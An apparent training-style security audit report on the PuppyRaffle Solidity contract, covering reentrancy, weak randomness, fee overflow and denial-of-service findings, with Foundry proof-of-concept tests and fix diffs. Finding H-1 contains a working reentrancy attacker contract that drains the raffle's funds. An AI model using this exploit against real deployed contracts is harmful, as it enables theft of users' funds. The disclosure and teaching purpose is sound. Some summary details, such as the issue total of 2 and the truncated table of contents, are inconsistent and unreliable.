Puppy Raffle Audit Report

Version 1.0

Nihavent

January 22, 2024

Puppy Raffle Audit Report

Nihavent

Jan 22, 2024

Prepared by: [Nihavent] Lead Auditors: - xxxxxxx

Table of Contents

  - [H-5] If a player is refunded, they keep their place in the `PuppyRaffle::players` array meaning they are eligible to win the raffle. ERC721 tokens cannot be minted to a zero address.

- Medium
  - [M-1] Unbounded loop checking for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DOS) attack, incrementing gas costs for future entrants
  - [M-2] Unsafe cast of `PuppyRaffle:fee` loses fees
  - [M-3] Smart contract wallet raffle winners without a `receive` or a `fallback` function will block the start of a new contest
- Low
  - [L-1]: `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for the player at index 0. This causes the player at index 0 to incorrectly think they have not entered the raffle
- Informational
  - [I-1]: Solidity pragma should be specific, not wide
  - [I-2]: Using an outdated version of Solidty is not recommended
  - [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  - [I-4]: `PuppyRaffle::selectWinner` should follow CEI, which is not a best practice
  - [I-5]: Use of "magic" numbers is discouraged
  - [I-6]: State changes are mising events
  - [I-7]: Event is missing indexed fields
  - [I-8]: `PuppyRaffle::_isActivePlayer` is never used and should be removed
- Gas
  - [G-1]: Unchanged state variables should be declared constant or immutable
  - [G-2]: Storage variables in a loop should be cached

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings in this document correspond to the follwoing Commit Hash:

```
xxx
```

Scope

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

```
./src/
--PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	5
Medium	3
Low	1
Info	8
Total	2

Findings

High

[H-1] Reentrancy vulnerability in `PuppyRaffle::refund` allows entrant to drain raffle contract balance

Description

The `PuppyRaffle:refund` function does not follow CEI (Checks, Effects, Interactions). As a result, a malicious user can drain the balance of the contract by exploiting a reentrancy vulnerability in this function.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle can call refund. If this player is a contract with a `fallback` or `receive` function which calls `PuppyRaffle::refund` function again and claim another refund. This cycle repeats until the contract balance is drained.

Impact

All funds paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept

1. Users enter the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Code

Place the following into `PuppyRaffleTest.t.sol`

```

    function testReentrancyRefund() public {
        // enter a few players into the raffle
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);

        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackUserBalance = attackUser.balance;
        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingPuppyContractBalance = address(puppyRaffle).
            balance;

        console.log("startingAttackUserBalance: ",
            startingAttackUserBalance);
        console.log("startingAttackContractBalance: ",
            startingAttackContractBalance);
        console.log("startingPuppyContractBalance: ",
            startingPuppyContractBalance);

        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("EndingAtackerAddressBalance: ", attackUser.balance
            );
        console.log("endingAttackContractBalance: ", address(
            attackerContract).balance);
        console.log("endingPuppyContractBalance: ", address(puppyRaffle
            ).balance);

        console.log(address(attackerContract).balance);
        console.log(startingAttackContractBalance);
        console.log(startingPuppyContractBalance);
        //Show that the attack contract has all the funds
        assert(address(attackerContract).balance ==
            startingAttackUserBalance + startingPuppyContractBalance);
    }
```

And this contract as well

```

contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;

        puppyRaffle.refund(attackerIndex);
    }

    receive() external payable {
        if(address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

}
```

Recommended Mitigation

To prevent this, the `PuppyRaffle::refund` should update the `players` array prior to making the external. Additionally, we should also emit the event prior to making the external call.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description

Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a truly random number. Malicious users can manipulate these values in order to chose the winner of the raffle themselves.

This occurs twice in the `PuppyRaffle::selectWinner` function, the first is to pick the winner of the raffle:

```
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
```

The second is to pick the rarity of the NFT that gets minted:

```
        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
            block.difficulty))) % 100;
```

Note: This additionally means that users could front-run this function and call `refund` if they see they are not the winner.

Impact

Any user can influence the winner of the raffle, winning the money and selecting the rarity of the NFT. This could make the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrando. `block.difficulty` was recently replaced with prevrandao.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation

Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description

In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
myVar = myVar + 1
//myVar will be 0
```

Impact

In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` which can be later collected in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept

Place the following code into `PuppyRaffleTest.t.sol`, it shows the `totalFees` variable overflowing and containing a lower value of totalFees after 93 entrants in the raffle compared to when there was 4 entrants in the raffle.

1. We conclude a raffle with 4 players
2. We then enter 89 players enter a new raffle, and conclude the raffle
3. `totalFees` is lower after the 93rd player has entered the raffle than what it was after the 4th player had entered the raffle, due to an overflow of the `uint64 totalFees` variable.
4. You will not be able to withdraw, due to the line in `PuppyRaffle:withdraw`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees. Clearly this is not an intended use of the protocol.

Code

```
    function testShowFeeOverflow() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

        uint256 FeesAfterFourEntrants = puppyRaffle.totalFees();
        console.log("Current fees: ", puppyRaffle.totalFees());
        console.log("previousWinner: ", puppyRaffle.previousWinner());

        // To overflow the uint64 we need to have 2^64 + 1 -
            800000000000000000 extra fees =1.7646744e+19
        // each entrant pays 2e+17 in fees. So we need 89 entrants to
            overflow the uint64\
        uint256 numPlayers = 89;
        address[] memory players = new address[](numPlayers);
        for (uint i = 0; i < numPlayers; i++) {
            players[i] = address(i+1);
        }

        //Enter the players
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);

        //print out players array
        //console.log(puppyRaffle.players(1));
        for (uint i = 0; i < 4; i++) {
            console.log(puppyRaffle.players(i));
        }


        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

        uint256 FeesAfterEightyNineEntrants = puppyRaffle.totalFees();

        console.log("Current fees: ", puppyRaffle.totalFees());

        require(FeesAfterEightyNineEntrants < FeesAfterFourEntrants);
    }
```

Recommended Mitigation

1. Use a newer version of solidty, and a `uint256` instead of a `uint64` for `PuppyRaffle::totalFees`.
2. Another option is to use the `SafeMath` library from OpenZeppelin for version 0.7.6 of solidity, however you would still have an issue with the `uint64` type if too many fees are collected.
3. Remove the contract balance check to total fees in `PuppyRaffle:withdraw`:

```
-     require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

[H-4] If a player is refunded, they keep their place in the `PuppyRaffle::players` array meaning the `PuppyRaffle::totalAmountCollected` is incorrect.

Description

When a player calls `PuppyRaffle::refund`, the `PuppyRaffle::players` array updates this player's address to zero. This means the lenght of the `PuppyRaffle::players` array is unchanged and therefore the following line of code overcpimts the totalAmountCollected:

```
        uint256 totalAmountCollected = players.length * entranceFee;
```

Impact

When the `PuppyRaffle::totalAmountCollected` variable calculates incorrectly, the `PuppyRaffle::prizePool` and the `PuppyRaffle::fee` variables also calculate incorrectly due to the following code in `PuppyRaffle::selectWinner`:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

This results in an incorrect prizePool and incorrect fee accounting.

If enough players have refunded, the `PuppyRaffle::selectWinner` function will revert because it will attempt to send the winner more funds than what is available in the prize pool:

```
        (bool success,) = winner.call{value: prizePool}("");
```

Proof of Concept

Please add the following test case to `PuppyRaffleTest.t.sol` to see an example when four players enter the raffle and a single player refunds.

The `PuppyRaffle::selectWinner` function attempts to send the winner:

(80/100) x 4 x `PuppyRaffle::EntranceFee` = 3.2 x `PuppyRaffle::EntranceFee`

But only has:

(3/4) x 4 x `PuppyRaffle::EntranceFee` = 3 x `PuppyRaffle::EntranceFee` available.

Code

```
    function testRefundedPlayerResultsInIncorrectFeesAndPayout() public
        playersEntered {
        //Refund a player
        vm.prank(playerOne);
        puppyRaffle.refund(0);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        //In the following function call, the contract will revert due
            to the contract not having enough funds to pay the winner
        puppyRaffle.selectWinner();
    }
```

Recommended Mitigation

The `totalAmountCollected` variable needs to calculate based off the number of valid entries at the time `PuppyRaffle::selectWinner` is executed, not the length of the `PuppyRaffle.player` array.

[H-5] If a player is refunded, they keep their place in the `PuppyRaffle::players` array meaning they are eligible to win the raffle. ERC721 tokens cannot be minted to a zero address.

Description

When a player calls `PuppyRaffle::refund`, the `PuppyRaffle::players` array updates this player's address to zero. This means they are still eligible to win as the current logic selects any element in the array to be the winner of the raffle.

Impact

If the zero-address entry is selected to win the raffle, the `PuppyRaffle::selectWinner` function will attempt to mint an ERC721 token to a zero-address. This will revert.

Additionally, this is unfair to other players who have not refunded their entry, as their chance of winning is diluted by refunded entries.

Proof of Concept

Please add the following test case to `PuppyRaffleTest.t.sol` to see an example when four players enter the raffle, and all four players refund their entry.

Code

```
    function testRefundedPlayedWinsRaffleAndCannotMintNft() public
        playersEntered {

        //Refund all four players in the raffle
        vm.prank(playerOne);
        puppyRaffle.refund(0);

        vm.prank(playerTwo);
        puppyRaffle.refund(1);

        vm.prank(playerThree);
        puppyRaffle.refund(2);

        vm.prank(playerFour);
        puppyRaffle.refund(3);

        console.log("Player at index 0", puppyRaffle.players(0));
        console.log("Player at index 1", puppyRaffle.players(1));
        console.log("Player at index 2", puppyRaffle.players(2));
        console.log("Player at index 3", puppyRaffle.players(3));

        //There is currently no players in the raffle, lets pick a
            winner
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        //In order to not revert due to the contract not having enough
           funds, manually give the contract funds:
        vm.deal(address(puppyRaffle), 4*entranceFee);

        puppyRaffle.selectWinner();
    }
```

Recommended Mitigation

When fixing [H-2] we need to adjust the selection of the winner so it's not possible for a refunded player to win the raffle.

Medium

[M-1] Unbounded loop checking for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DOS) attack, incrementing gas costs for future entrants

Description

The `PuppyRaffle::enterRaffle` function loops through the `PuppyRaffle::players` array to check for duplicates. As this array gets large, this operation becomes more expensive. This means the gas cost for later users per draw will be significantly more expensive than gas costs for earlier users per draw.

```
@>  for (uint256 i = 0; i < players.length - 1; i++) {
@>      for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
                player");
        }
    }
```

Impact

The gas costs for raffle entrants will greatly increase as more players enter the raffle. This may discourage later usrs from entering. It also may cause a rush at the start of the raffle to be an early entrant.

An attacker might make the `PuppyRaffle::players` array so large that no one else enters, ensuring they win.

Proof of Concept (proof of code)

If we have two sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~ 6,252,048 - 2nd 100 players: ~ 18,068,138

This is roughly 3x more expensive for the second 100 players.

PoC Place the following test into `PuppyRaffleTest.t.sol`

```
    function testDosAttack() public {
        vm.txGasPrice(1);

        uint256 numPlayers = 100;
        address[] memory players = new address[](numPlayers);
        for (uint i = 0; i < numPlayers; i++) {
            players[i] = address(i);
        }

        //see how much gas it costs
        uint256 gasStart = gasleft();
        //Enter the players
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
           players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;

        console.log("gas cost of first 100 players, gasUsedFirst: ",
           gasUsedFirst);

        //now for the second 100 players
        address[] memory players2 = new address[](numPlayers);
        for (uint i = 0; i < numPlayers; i++) {
            players2[i] = address(i + numPlayers);
        }

        //see how much gas it costs
        uint256 gasStart2 = gasleft();
        //Enter the players
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
           players2);
        uint256 gasEnd2 = gasleft();

        uint256 gasUsedSecond = (gasStart2 - gasEnd2) * tx.gasprice;

        console.log("gas cost of second 100 players, gasUsedSecond: ",
           gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation

There are a few recommendations:

1. Consider allowing duplicates. Users can make new wallet addresses anyway, so the duplicate check doesn't prevent the same person from entering multiple times.
2. Consider allowing a mapping to check for duplicates. This would allow constant time lookup of

whether the user has entered the raffle previously.

Mapping solution diff

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "
   PuppyRaffle: Duplicate player");
+        }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle:
   Duplicate player");
-             }
-         }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+        raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
```

3. Also consider using [OpenZeppelin's `EnumerableSet` library]. (https://docs.openzeppelin.com/contracts/3.x/a

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

See writeup in H-3

[M-3] Smart contract wallet raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description

The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get challenging.

Impact

The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, the true winners would not get paid out and someone else could take their money!

Proof of Concept

1. 10 smart contract wallets enter the lottery without a `fallback` or `receive` function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation

1. Do not allow smart contract wallet entrants (not recommended).
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves with a `claimPrize` function, putting the owness on the winner to claim their prize (recommended).

Low

[L-1]: `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for the player at index 0. This causes the player at index 0 to incorrectly think they have not entered the raffle

Description

If a player is in the `PuppyRaffle::players` array at index 0, this will reutrun 0, but according to the natspec, it will also return 0 if the player is not in the array.

Impact

A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept (proof of code)

1. User enters the raffle as the first entrant.
2. User calls `PuppyRaffle::getActivePlayerIndex` with their address as an argument, this function will return 0.
3. User thinks they have not entered correctly due to documentation, they attempt to enter again.

Recommended Mitigation

The easiest fix is to revert if the player is not in the array instead of returning 0.

The protocol could also reserve the 0th position.

The function could also return an `int256` value of -1 if the player is not active.

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of Solidty is not recommended

Please use a newer version like `pragma solidity 0.8.18;`

The recommendations take into account:

1. Risks related to recent releases
2. Risks of complex code generation changes
3. Risks of new language features
4. Risks of known bugs Please see [slither] (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity)

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 70

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 184

```
        previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 212

```
        feeAddress = newFeeAddress;
```

[I-4]: `PuppyRaffle::selectWinner` should follow CEI, which is not a best practice

It's best to follow CEI (checks, effects, interactions)

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5]: Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase. It's more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, these numbers could be replaced by variables:

```
        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
        uint256 public constant FEE_PERCENTAGE = 20;
        uint256 public constant POOL_PRECISION = 100;
```

[I-6]: State changes are mising events

It is best practice to emit an event everytime the state of a contract is updated.

[I-7]: Event is missing indexed fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/PuppyRaffle.sol Line: 60

  ```
      event RaffleEnter(address[] newPlayers);
  ```

- Found in src/PuppyRaffle.sol Line: 61

  ```
      event RaffleRefunded(address player);
  ```

- Found in src/PuppyRaffle.sol Line: 62

  "'solidity event FeeAddressChanged(address newFeeAddress);

[I-8]: `PuppyRaffle::_isActivePlayer` is never used and should be removed

Gas

[G-1]: Unchanged state variables should be declared constant or immutable

Reading from storage is more expenseive than reading from constant or immutable

Instances: 1. `PuppyRaffle:raffleDuration` should be `immutable` 2. `PuppyRaffle:commonImageUri` should be `constant` 3. `PuppyRaffle:rareImageUri` should be `constant` 4. `PuppyRaffle:legendaryImageUri` should be `constant`

[G-2]: Storage variables in a loop should be cached

Each time you call `players.length` you read from storage, as opposed to memory which is gas inefficient.

```
+       uint256 playerLength = players.length
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playerLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playerLength; j++) {
```

```
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```